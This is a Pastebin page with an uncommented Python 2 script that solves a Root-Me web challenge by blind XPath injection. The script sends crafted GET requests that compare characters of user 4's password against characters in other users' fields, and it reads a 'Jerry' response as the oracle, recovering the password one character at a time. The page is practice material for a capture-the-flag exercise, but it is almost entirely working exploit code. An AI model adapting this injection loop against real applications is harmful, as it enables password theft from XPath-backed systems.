Advertisement
Guest User

Untitled

a guest
Apr 29th, 2016
328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.83 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import requests
  3.  
  4. class BreakLoops(BaseException): pass
  5. page = "http://challenge01.root-me.org/web-serveur/ch24/?action=user&userid=5"
  6.  
  7. colonne = ['username', 'email', 'type','userid'] #verifier le nom du 3ieme
  8.  
  9.  
  10.  
  11.  
  12. def tryPerNode():
  13. continuer=True
  14. passwd=""
  15.  
  16. for t in range(1,14):
  17. print "trying %s char" % str(t)
  18. try:
  19. for i in range(1,6):
  20. for col in colonne:
  21. for j in range(1,16):
  22. req=page+"+and+substring(//user[position()=4]/password,"+str(t)+",1)=substring(//user[position()="+str(i)+"]/"+col+","+str(j)+",1)"
  23. res = requests.get(req)
  24.  
  25. if "Jerry" in res.text:
  26. print req
  27. raise BreakLoops()
  28. except BreakLoops:
  29. pass
  30.  
  31. tryPerNode()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement